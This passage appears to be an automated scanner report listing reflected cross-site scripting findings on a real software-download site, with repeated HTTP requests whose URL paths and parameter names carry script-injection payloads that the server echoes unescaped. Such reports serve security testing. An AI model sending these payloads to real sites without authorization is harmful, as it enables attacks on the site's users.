<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... <input type="hidden" name="retpage" value="/downloads37801"><script>alert(1)</script>ad83e3f4619/t-64-bit-ozum-download-lhtivuds.html" /> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 47648"><script>alert(1)</script>f734d0ee91b was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /downloads/t-64-bit-ozum-download-lhtivuds.html47648"><script>alert(1)</script>f734d0ee91b HTTP/1.1 Host: www.x64bitdownload.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="referer" value="/downloads/t-64-bit-ozum-download-lhtivuds.html47648"><script>alert(1)</script>f734d0ee91b"/> ...[SNIP]...
4.1748. http://www.x64bitdownload.com/downloads/t-64-bit-ozum-download-lhtivuds.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.x64bitdownload.com
Path:
/downloads/t-64-bit-ozum-download-lhtivuds.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 850ca"><script>alert(1)</script>6fff343f0ed was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /downloads/t-64-bit-ozum-download-lhtivuds.html?850ca"><script>alert(1)</script>6fff343f0ed=1 HTTP/1.1 Host: www.x64bitdownload.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a3db1"><script>alert(1)</script>51fa849155c was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /downloadsa3db1"><script>alert(1)</script>51fa849155c/t-64-bit-ozum-download-lhtivuds.html/x22 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 15:18:39 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 21325
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... <input type="hidden" name="retpage" value="/downloadsa3db1"><script>alert(1)</script>51fa849155c/t-64-bit-ozum-download-lhtivuds.html/x22" /> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1d982"><script>alert(1)</script>b02d30346b5 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /downloads/t-64-bit-ozum-download-lhtivuds.html1d982"><script>alert(1)</script>b02d30346b5/x22 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:19:36 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 57145
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="referer" value="/downloads/t-64-bit-ozum-download-lhtivuds.html1d982"><script>alert(1)</script>b02d30346b5/x22"/> ...[SNIP]...
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 683a4"><script>alert(1)</script>5d118b29aed was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /downloads/t-64-bit-ozum-download-lhtivuds.html/x22683a4"><script>alert(1)</script>5d118b29aed HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:20:12 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 57145
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="referer" value="/downloads/t-64-bit-ozum-download-lhtivuds.html/x22683a4"><script>alert(1)</script>5d118b29aed"/> ...[SNIP]...
4.1752. http://www.x64bitdownload.com/downloads/t-64-bit-ozum-download-lhtivuds.html/x22 [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 967ee"><script>alert(1)</script>71fe059bb0c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /downloads/t-64-bit-ozum-download-lhtivuds.html/x22?967ee"><script>alert(1)</script>71fe059bb0c=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:17:12 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 57151
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="referer" value="/downloads/t-64-bit-ozum-download-lhtivuds.html/x22?967ee"><script>alert(1)</script>71fe059bb0c=1"/> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a3467"><script>alert(1)</script>d05bfef14e was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /downloadsa3467"><script>alert(1)</script>d05bfef14e/t-64-bit-paragon-extbrowser-download-xwigzbic.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 15:18:06 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 21334
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... <input type="hidden" name="retpage" value="/downloadsa3467"><script>alert(1)</script>d05bfef14e/t-64-bit-paragon-extbrowser-download-xwigzbic.html" /> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2b74d"><script>alert(1)</script>2f39237061 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /downloads/t-64-bit-paragon-extbrowser-download-xwigzbic.html2b74d"><script>alert(1)</script>2f39237061 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:18:43 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 54632
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="referer" value="/downloads/t-64-bit-paragon-extbrowser-download-xwigzbic.html2b74d"><script>alert(1)</script>2f39237061"/> ...[SNIP]...
4.1755. http://www.x64bitdownload.com/downloads/t-64-bit-paragon-extbrowser-download-xwigzbic.html [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 66a56"><script>alert(1)</script>621f1f0b522 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /downloads/t-64-bit-paragon-extbrowser-download-xwigzbic.html?66a56"><script>alert(1)</script>621f1f0b522=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:16:18 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 54640
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="referer" value="/downloads/t-64-bit-paragon-extbrowser-download-xwigzbic.html?66a56"><script>alert(1)</script>621f1f0b522=1"/> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c4614"><script>alert(1)</script>35e4d9d2a2a was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /downloadsc4614"><script>alert(1)</script>35e4d9d2a2a/t-64-bit-pidgin-download-kkwthbed.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 15:21:25 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 21323
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... <input type="hidden" name="retpage" value="/downloadsc4614"><script>alert(1)</script>35e4d9d2a2a/t-64-bit-pidgin-download-kkwthbed.html" /> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3d72b"><script>alert(1)</script>775e881c02c was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /downloads/t-64-bit-pidgin-download-kkwthbed.html3d72b"><script>alert(1)</script>775e881c02c HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:22:37 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 57831
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="referer" value="/downloads/t-64-bit-pidgin-download-kkwthbed.html3d72b"><script>alert(1)</script>775e881c02c"/> ...[SNIP]...
4.1758. http://www.x64bitdownload.com/downloads/t-64-bit-pidgin-download-kkwthbed.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.x64bitdownload.com
Path:
/downloads/t-64-bit-pidgin-download-kkwthbed.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c708f"><script>alert(1)</script>5f593c9e2bd was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /downloads/t-64-bit-pidgin-download-kkwthbed.html?c708f"><script>alert(1)</script>5f593c9e2bd=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:18:30 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 57837
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="referer" value="/downloads/t-64-bit-pidgin-download-kkwthbed.html?c708f"><script>alert(1)</script>5f593c9e2bd=1"/> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b3b9e"><script>alert(1)</script>b57549acbe3 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /downloadsb3b9e"><script>alert(1)</script>b57549acbe3/t-64-bit-rss-reader-download-avwkinlm.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 15:19:08 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 21327
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... <input type="hidden" name="retpage" value="/downloadsb3b9e"><script>alert(1)</script>b57549acbe3/t-64-bit-rss-reader-download-avwkinlm.html" /> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c5e04"><script>alert(1)</script>80ff2e869b2 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /downloads/t-64-bit-rss-reader-download-avwkinlm.htmlc5e04"><script>alert(1)</script>80ff2e869b2 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:20:22 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 54645
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="referer" value="/downloads/t-64-bit-rss-reader-download-avwkinlm.htmlc5e04"><script>alert(1)</script>80ff2e869b2"/> ...[SNIP]...
4.1761. http://www.x64bitdownload.com/downloads/t-64-bit-rss-reader-download-avwkinlm.html [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5b65e"><script>alert(1)</script>1c166d61bb7 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /downloads/t-64-bit-rss-reader-download-avwkinlm.html?5b65e"><script>alert(1)</script>1c166d61bb7=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:16:35 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 54651
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="referer" value="/downloads/t-64-bit-rss-reader-download-avwkinlm.html?5b65e"><script>alert(1)</script>1c166d61bb7=1"/> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 18719"><script>alert(1)</script>ee7861559ed was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /downloads18719"><script>alert(1)</script>ee7861559ed/t-64-bit-skype-download-szhzvwoz.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 15:21:13 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 21322
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... <input type="hidden" name="retpage" value="/downloads18719"><script>alert(1)</script>ee7861559ed/t-64-bit-skype-download-szhzvwoz.html" /> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 75f95"><script>alert(1)</script>c335ecb6c9b was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /downloads/t-64-bit-skype-download-szhzvwoz.html75f95"><script>alert(1)</script>c335ecb6c9b HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:22:30 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 57891
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="referer" value="/downloads/t-64-bit-skype-download-szhzvwoz.html75f95"><script>alert(1)</script>c335ecb6c9b"/> ...[SNIP]...
4.1764. http://www.x64bitdownload.com/downloads/t-64-bit-skype-download-szhzvwoz.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.x64bitdownload.com
Path:
/downloads/t-64-bit-skype-download-szhzvwoz.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1ec64"><script>alert(1)</script>d5da7e23d0e was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /downloads/t-64-bit-skype-download-szhzvwoz.html?1ec64"><script>alert(1)</script>d5da7e23d0e=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:18:17 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 57897
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="referer" value="/downloads/t-64-bit-skype-download-szhzvwoz.html?1ec64"><script>alert(1)</script>d5da7e23d0e=1"/> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 39331"><script>alert(1)</script>831ea6de695 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /downloads39331"><script>alert(1)</script>831ea6de695/t-64-bit-sony-ericsson-pc-suite-download-xqhxzeta.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 15:21:38 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 21339
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... <input type="hidden" name="retpage" value="/downloads39331"><script>alert(1)</script>831ea6de695/t-64-bit-sony-ericsson-pc-suite-download-xqhxzeta.html" /> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d9b2f"><script>alert(1)</script>30e728f96c4 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /downloads/t-64-bit-sony-ericsson-pc-suite-download-xqhxzeta.htmld9b2f"><script>alert(1)</script>30e728f96c4 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:22:52 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 56614
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="referer" value="/downloads/t-64-bit-sony-ericsson-pc-suite-download-xqhxzeta.htmld9b2f"><script>alert(1)</script>30e728f96c4"/> ...[SNIP]...
4.1767. http://www.x64bitdownload.com/downloads/t-64-bit-sony-ericsson-pc-suite-download-xqhxzeta.html [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 65876"><script>alert(1)</script>0527961b680 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /downloads/t-64-bit-sony-ericsson-pc-suite-download-xqhxzeta.html?65876"><script>alert(1)</script>0527961b680=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
